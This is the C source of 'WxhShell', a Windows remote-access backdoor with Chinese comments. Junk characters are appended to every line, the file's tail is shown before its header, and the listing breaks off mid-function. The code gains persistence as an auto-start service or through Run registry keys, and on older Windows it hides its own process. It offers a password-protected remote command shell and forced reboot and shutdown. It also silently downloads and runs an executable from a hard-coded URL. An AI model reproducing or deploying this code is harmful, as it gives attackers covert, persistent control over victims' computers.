ULONG UniqueProcessId; YTyrX
ULONG InheritedFromUniqueProcessId; ^m%#1Zd
} PROCESS_BASIC_INFORMATION; Uuy$F
0S4BV%7F
PROCNTQSIP NtQueryInformationProcess; R1H^CJ=v0
ol"|?*3q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kY$EK]s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]P3m=/w
+7b8 ye
HANDLE hProcess; \<pr28
PROCESS_BASIC_INFORMATION pbi; v\,N"X(,
E<\$3G-do
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h&i*=&<HP6
if(NULL == hInst ) return 0; yIL=jzm`7
cuN ]}=D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *U^Y@""a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j4owo#OB-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,*iA38d.!
bqE'9GI
if (!NtQueryInformationProcess) return 0;
}>hn
]QaKXg)3q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `sKyvPtG
if(!hProcess) return 0; m'NAM%$}J
!vnC-&G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cR3d&/_,U
7Jlkn=9e:
CloseHandle(hProcess); a%r!55.
BI:Cm/ >
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Y x_ 3
if(hProcess==NULL) return 0; X8*g#lO?
-F7F 6!s
HMODULE hMod; J.yM@wPS>
char procName[255]; w1G(s$;C
unsigned long cbNeeded; T2Yf7Szp
4Et(3[P71
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `xzKRId0
B4b'0p
CloseHandle(hProcess); |H
t5a.
z&gmaYwq
if(strstr(procName,"services")) return 1; // 以服务启动 (S!UnBb&
`2 <:$]
return 0; // 注册表启动 <;Hb7p3N
} zhw*Bed<
B!/kC)bF:
// 主模块 {\(G^B*\
int StartWxhshell(LPSTR lpCmdLine) C*2%Ix18+N
{ Q|)>9m!tt
SOCKET wsl; tQ9%rb
BOOL val=TRUE; R0=f` ;
int port=0; `a&L
struct sockaddr_in door; <2)AbI+3
2G~{x7/[@
if(wscfg.ws_autoins) Install(); |3FI\F;^q
9F807G\4Qt
port=atoi(lpCmdLine); I:jIChT
/f[Ek5/-0
if(port<=0) port=wscfg.ws_port; 3wv@wqx
rL-R-;Ca
WSADATA data; @SD XJJh
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Leb
Kzqe
@4;'>yr(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {P6Bfh7CZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :Tpf8
door.sin_family = AF_INET; z[f]mU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *W8n8qG%T
door.sin_port = htons(port); ZhY{,sy?QO
X]y8-}Qf
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aE'nW_f
closesocket(wsl); 4C`RxQJM
return 1; "zq'nV=
} )3CM9P'0
5&8BO1V.
if(listen(wsl,2) == INVALID_SOCKET) { zn>lF
closesocket(wsl); edMCj
return 1; GUu8 N
} R%3yxnM*
Wxhshell(wsl); Z@euO~e~
WSACleanup(); fZ-"._9UyH
%$ya>0?mq
return 0; N 8[rWJ#
X}Q4;='C-
} g}hUCx(
\NNA"
// 以NT服务方式启动 eA1g}ipm
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~+' f[!^
{ *R+M#l9D`
DWORD status = 0; wxHd^b
DWORD specificError = 0xfffffff; J~KO#`
OFr"RGW"
serviceStatus.dwServiceType = SERVICE_WIN32; QqF<HCO
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sN1H{W
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o*204BGB
serviceStatus.dwWin32ExitCode = 0; uM$b/3%s
serviceStatus.dwServiceSpecificExitCode = 0; Gs~eRcIB
serviceStatus.dwCheckPoint = 0; #MYoy7=
serviceStatus.dwWaitHint = 0; i]<@
GgEg (AT
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z/91v#}.
if (hServiceStatusHandle==0) return; yr+QV:oVA
zmQQ/7K
status = GetLastError(); 8(n>99VVK
if (status!=NO_ERROR) 'ij+MU1
{ }$<v
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z><+4
'
serviceStatus.dwCheckPoint = 0; C5(XZscq
serviceStatus.dwWaitHint = 0; #fF5O2E'3
serviceStatus.dwWin32ExitCode = status; ?xwi2<zz
serviceStatus.dwServiceSpecificExitCode = specificError; y"H5>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |\Gkhi>;
return; N$>Ml!J
} j?C[ids<
RK@K>)"f
serviceStatus.dwCurrentState = SERVICE_RUNNING; P6%qNR/ x
serviceStatus.dwCheckPoint = 0; $|7"9W}m*
serviceStatus.dwWaitHint = 0; C)m@/w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r4u,I<ZbH
} nrE.0Ue1
b6S"&hs
// 处理NT服务事件,比如:启动、停止 ozsd6&z5l
VOID WINAPI NTServiceHandler(DWORD fdwControl) iJh{,0))g
{ `}t5` :#k
switch(fdwControl) NdJ]\>5oN,
{ ]iTP5~8U
case SERVICE_CONTROL_STOP: ;LgMi5dN
serviceStatus.dwWin32ExitCode = 0; T^eD
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]foS.D,
serviceStatus.dwCheckPoint = 0; ,sj(g/hg
serviceStatus.dwWaitHint = 0; `%|3c
{ ,8DC9yM,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ew]&~:$Ki
} al Rz@N
return; 5n>zJ
~
case SERVICE_CONTROL_PAUSE: WMKxGZg"
serviceStatus.dwCurrentState = SERVICE_PAUSED; W/RB|TMT
break; \=RV?mI3?
case SERVICE_CONTROL_CONTINUE: IV&5a]j
serviceStatus.dwCurrentState = SERVICE_RUNNING; :{eYm|2-
break; sz%]rN6$
case SERVICE_CONTROL_INTERROGATE: 4NRj>y
break; E
@r &K
}; !|9@f$Jv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0xi2VN"X
} `!X8Cn
~rrl"a>
// 标准应用程序主函数 ]hlQU%&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xTG5VBv
{ r+Sv(KS4i^
Xr o5~G
// 获取操作系统版本 Rex86!TO
OsIsNt=GetOsVer(); *B4OvHi)'
GetModuleFileName(NULL,ExeFile,MAX_PATH); DQObHB8L
= <A0;
// 从命令行安装 ~Q^.7.-T
if(strpbrk(lpCmdLine,"iI")) Install(); hH$9GL{H
~d<&OL
// 下载执行文件 tHqa%
if(wscfg.ws_downexe) { Jl\U~i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \1?'JdN
WinExec(wscfg.ws_filenam,SW_HIDE); `+."X1
} .5SYN-@
@(6P L^I
if(!OsIsNt) { iqoMQ7%
// 如果时win9x,隐藏进程并且设置为注册表启动 tw 3zw`o:
HideProc(); gr!!pp;
StartWxhshell(lpCmdLine); uu-M7>+
} 0WZd $
else ^[I>#U
if(StartFromService()) (3K,f4S@
// 以服务方式启动 /^K-tz-R
StartServiceCtrlDispatcher(DispatchTable); \0i0#Dt9
else ;fQIaE&H
// 普通方式启动 "\lOOp^-
StartWxhshell(lpCmdLine); v!DU ewz
y]! #$C /
return 0; Lf.Ia*R:
} {qSMJja !t
6*1f -IbV
$? Z}hU
.LM|@OeaD!
=========================================== _`*G71PS
//3fgoly
> B;YYj~f}
lwG)&qyVd
rw
2i_,.*~
B}zBbB
" ;*Mr(#R
Ii3F|Vb G
#include <stdio.h> 1#|lt\T
#include <string.h> O|Y`:xvc
#include <windows.h> J}-e9vK-#
#include <winsock2.h> f6(1jx"
#include <winsvc.h> 7^!iGhI]r
#include <urlmon.h> xqDz*V/mD
CG35\b;Q
#pragma comment (lib, "Ws2_32.lib") ;xFB
/,
#pragma comment (lib, "urlmon.lib") /A>nsN?:]
av'[k<
#define MAX_USER 100 // 最大客户端连接数 #
dUi['
#define BUF_SOCK 200 // sock buffer Q"!GdKM
#define KEY_BUFF 255 // 输入 buffer lkp$rJ#6
^IvQdVB
#define REBOOT 0 // 重启 0<<ATw$aQ
#define SHUTDOWN 1 // 关机 9%Vy,
%<|<%~l&
#define DEF_PORT 5000 // 监听端口 n%}#e!
{QN 5QGvK
#define REG_LEN 16 // 注册表键长度 H:Q4!<
#define SVC_LEN 80 // NT服务名长度 benqm ~{\
b!/-9{
// 从dll定义API %ol1WG 9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y~r)WV!G
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wrJ"(:VZ
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [tC=P&<
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2h@&yW2j
ww+,GnV
// wxhshell配置信息 A&ceuu
struct WSCFG { #<V5sgqS
int ws_port; // 监听端口 =|fB":vk
char ws_passstr[REG_LEN]; // 口令 ~XXNzz]?
int ws_autoins; // 安装标记, 1=yes 0=no [T3%Xt'4
char ws_regname[REG_LEN]; // 注册表键名 4B[uF/[
char ws_svcname[REG_LEN]; // 服务名 #N"QTD|i
char ws_svcdisp[SVC_LEN]; // 服务显示名 mYk~ ]a-
char ws_svcdesc[SVC_LEN]; // 服务描述信息 WXf[W
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E
KJ2P$
int ws_downexe; // 下载执行标记, 1=yes 0=no hoiC
J}us
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !F Zg'
9
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C0^r]^$Z
$EdL^Q2KAy
}; fU.z_T[@
(_N(K`4#W
// default Wxhshell configuration U9\w)D|+eE
struct WSCFG wscfg={DEF_PORT, DdeKZ)8
"xuhuanlingzhe", ! P$[$W
1, #*S.26P^4
"Wxhshell", (BK_A{5
"Wxhshell", .WBp!*4
"WxhShell Service", v@fy*T\3
"Wrsky Windows CmdShell Service", cQ`0d3
"Please Input Your Password: ", s?Gv/&
1, T;,,!
"http://www.wrsky.com/wxhshell.exe", &
\C1QkI
"Wxhshell.exe" j]mnH`#BL
}; _Db&f}.`
Z;;A#h'%e
// 消息定义模块 4)XB3$<
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T}"[f/:N/
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ME'D
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "F
Etl(
char *msg_ws_ext="\n\rExit."; .rX,*|1x
char *msg_ws_end="\n\rQuit."; ,sg\K>H=
char *msg_ws_boot="\n\rReboot..."; [4yw? U
char *msg_ws_poff="\n\rShutdown..."; _1YC9}
char *msg_ws_down="\n\rSave to "; =?\%E[j
`Hu2a]e9
char *msg_ws_err="\n\rErr!"; :/"5x
char *msg_ws_ok="\n\rOK!"; iMV=R2t 2
:N_DJ51
char ExeFile[MAX_PATH]; 7e#|Iq:o
int nUser = 0; m G+=0Rn^
HANDLE handles[MAX_USER]; "kVzN22
int OsIsNt; i{Du6j^j
;R@D
SERVICE_STATUS serviceStatus; sfy}J1xIL
SERVICE_STATUS_HANDLE hServiceStatusHandle; Bob-qCBV
>4+KEK
// 函数声明 h$6~3^g:P
int Install(void); 0x^lHBYc
int Uninstall(void); 5x,/p
int DownloadFile(char *sURL, SOCKET wsh); hL}ZPHA
int Boot(int flag); cT;Zz5
void HideProc(void); *|@386\
int GetOsVer(void); $e uI
int Wxhshell(SOCKET wsl); PY+4OZ$
void TalkWithClient(void *cs); =u.23#.
int CmdShell(SOCKET sock); Nz;\PS
int StartFromService(void); z"Cyjmg"
int StartWxhshell(LPSTR lpCmdLine); O{U j
`'pAiu
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a#9pN?~
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p|BoEITL
%E [HMq<H
// 数据结构和表定义 }EJ/H3<
SERVICE_TABLE_ENTRY DispatchTable[] = i;29*"
{ hR.vJ2oa
{wscfg.ws_svcname, NTServiceMain}, 5/CF_v
{NULL, NULL} &$l#0?Kc^
}; M23r/eg]
sN#ju5
// 自我安装 $>+g)
int Install(void) ":GC}VIS
{ C\dk}A
char svExeFile[MAX_PATH]; M0KU}h
HKEY key; YPCitGBl
strcpy(svExeFile,ExeFile); (S?DKPnR
uotW[L9
// 如果是win9x系统,修改注册表设为自启动 }-u%6KZ
if(!OsIsNt) { h[<l2fy
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _,d<9 Y)
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nI1(2a1
RegCloseKey(key); Io&HzQW^a
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OkCAvRg
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j5]ul!ji
RegCloseKey(key); O}}rosA
return 0; qL[SwEc
} Mq'm
TM
} $TK= :8HY
} a(ml#-M
else { m^,VEV>
(Q8r2*L
// 如果是NT以上系统,安装为系统服务 #l3)3k*;
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tf?`_jL
if (schSCManager!=0) Ki&a"Fu3
{ YBF$/W+=9|
SC_HANDLE schService = CreateService <$otBC/%
( Htln <N
schSCManager, &
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wscfg.ws_svcname, Bvh{|tP4
wscfg.ws_svcdisp, 1i'y0]f
SERVICE_ALL_ACCESS, n+i=Ff
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MX.?tN#F|H
SERVICE_AUTO_START, brlbJFZ19
SERVICE_ERROR_NORMAL, ED>a'y$f
svExeFile, y*v|q=
NULL, >7S@3,C3ke
NULL, ]0j_yX
NULL, !]RSG^%s{
NULL, ~P;A
9A(k
NULL j2.7b1s
); S kB*w'k
if (schService!=0) yf4L0.
{ TY'61xWi
CloseServiceHandle(schService); bX`Gv+
CloseServiceHandle(schSCManager); &|db}\jT
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2% OAQ(
strcat(svExeFile,wscfg.ws_svcname); ()F{kM8
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1xkrhqq
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "Wr[DqFd
RegCloseKey(key); vUOl@UQ5
return 0; 4z9lk^#"X
} M]/DKo
} w*;"@2y;eY
CloseServiceHandle(schSCManager); 9 %i\)
} 3JkdP h
} c"pOi&
Mw)6,O`
return 1; cUdS{K&K
} J_m@YkK
$ ]#WC\Hv
// 自我卸载 {IaDZ/XS6
int Uninstall(void) '3WtpsKA
{ Pz\K3-
HKEY key; $CX3P)%
`
cDE5/!
if(!OsIsNt) { !\9^|Ef?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kfr1k
RegDeleteValue(key,wscfg.ws_regname); kxJ[Bi#
RegCloseKey(key); j0V/\Ep)T<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pd(_
RegDeleteValue(key,wscfg.ws_regname); ={V@Y-5T
RegCloseKey(key); Pnm$g;`P
return 0; 1?1Bz?EKF*
} 8N?D1;F;
} o)^Wz
} jX(hBnGW
else { T?1V%!a;f
k+w Ji
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rjO{B`sV*
if (schSCManager!=0) nJ
xO.wWE
{ ]dI^
S
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fb>$p_s]
if (schService!=0) '%XYJr:H[
{ "J=Cy@SSa
if(DeleteService(schService)!=0) { isQOt *
i
CloseServiceHandle(schService); lG%697P
CloseServiceHandle(schSCManager); +A)>
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return 0; 9OW8/H&!
} +F2OPIanT~
CloseServiceHandle(schService); .g\Oj0Cbxh
} aekke//y
CloseServiceHandle(schSCManager); *kg->J
} |iUC\F=-
} g$?^bu dxv
Q{L:pce-
return 1; l:uQ#Z)
} ^87 9sI
F P|cA^$<
// 从指定url下载文件 7bihP@I!
int DownloadFile(char *sURL, SOCKET wsh) ZDgT"53
{ ^-[
I;P
HRESULT hr; =CZRX'
+yN
char seps[]= "/"; qqf*g=f
char *token; wCruj`$
char *file; Zis,%XY
char myURL[MAX_PATH]; ^jwzCo-
char myFILE[MAX_PATH]; t'@mUX:-A
J ~3m7
strcpy(myURL,sURL); ,f$P[c
token=strtok(myURL,seps); k:R\;l5
while(token!=NULL) ] \_tO
{ ce}A!v
file=token; }6/M5zF3
token=strtok(NULL,seps); H>+])~#
} fe98Y-e
HbsNF~;
GetCurrentDirectory(MAX_PATH,myFILE); Opc szq5n
strcat(myFILE, "\\"); TnK<Wba
strcat(myFILE, file); ~ILv*v@m
send(wsh,myFILE,strlen(myFILE),0); >19s:+
send(wsh,"...",3,0); \\#D!q*
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5P"R'/[PA_
if(hr==S_OK) kaB|+U9^
return 0; o
/[7Vo
else iBSg`"S^]C
return 1; YRX^fZ-b
,v>;/qm
} %\HPYnIe
8Sj<,+XFq
// 系统电源模块 wGKxT
ap
int Boot(int flag) "T5oUy&i
{ k1f<(@*`
HANDLE hToken; cr{yy :D
TOKEN_PRIVILEGES tkp; 4A6Y
\Z XI
sA|SOAn
if(OsIsNt) { T :d+Qz\
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pg(Y}Tu
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oMj"l#a*
tkp.PrivilegeCount = 1; $) "\N
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RBn/7
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
h]ae^M
if(flag==REBOOT) { L,y
q=%h|
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8xgBNQdPT
return 0; ocZ}RI#Q
} ?%hd3zc+f
else { ^]R_t@
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VPYLDg.'
return 0; *m+FMyr
} 9U6$-]J
} bHnKtaK4c
else { <m`CLVx8m
if(flag==REBOOT) { Jj>Rzj!m
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~^Cx->l
return 0; r*vh3.Agl
} PKrG6%
W+
else { 9u{[e"
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &'W7-Z\j-
return 0; ?j.a>{
} Q!@M/@-Ky
} E2>{se Z
K9%rr_ja!
return 1; HJ7A/XW
} 8$_{R!x
<1*.:CL"s
// win9x进程隐藏模块 \#:
W
void HideProc(void) *eIX"&ba
{ 8p%0d`sX
K
$- *
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IeYNTk&<
if ( hKernel != NULL ) e&VC}%m
{ }={@_g#
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8fP2qj0
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^7aqe*|vm
FreeLibrary(hKernel); *P=3Pl?j
} 5S!#^>_
7wh4~
return; <|_>r`@%l
} 0q"4\#4l
`KA==;0
// 获取操作系统版本 =M;F&;\8
int GetOsVer(void) D r(0w{5
{ u'l4=e
OSVERSIONINFO winfo; ojnO69v
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &@oI/i&0B
GetVersionEx(&winfo); >2{Y5__+e
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1( rN
return 1; |L(h+/>aWX
else T<o8lL
return 0; /q?gpy
} 2X 0<-Y#'
@8lT*O2j
// 客户端句柄模块 jXYjs8Iy
int Wxhshell(SOCKET wsl) M^.>UZKyl
{ 1i;#cIG
SOCKET wsh; X1^Q1?0
struct sockaddr_in client; !PJp()
DWORD myID; sv+6#
&|fWtl;43
while(nUser<MAX_USER) 'oF ('uR
{ *)s^+F 0
int nSize=sizeof(client); b$>1_wTL
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lm'+z97
if(wsh==INVALID_SOCKET) return 1; oh,29Gg
O<y65#68Z
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z(1`Iy
M
if(handles[nUser]==0) |F&02f!]@
closesocket(wsh); pSodTG$E
else =&WH9IKz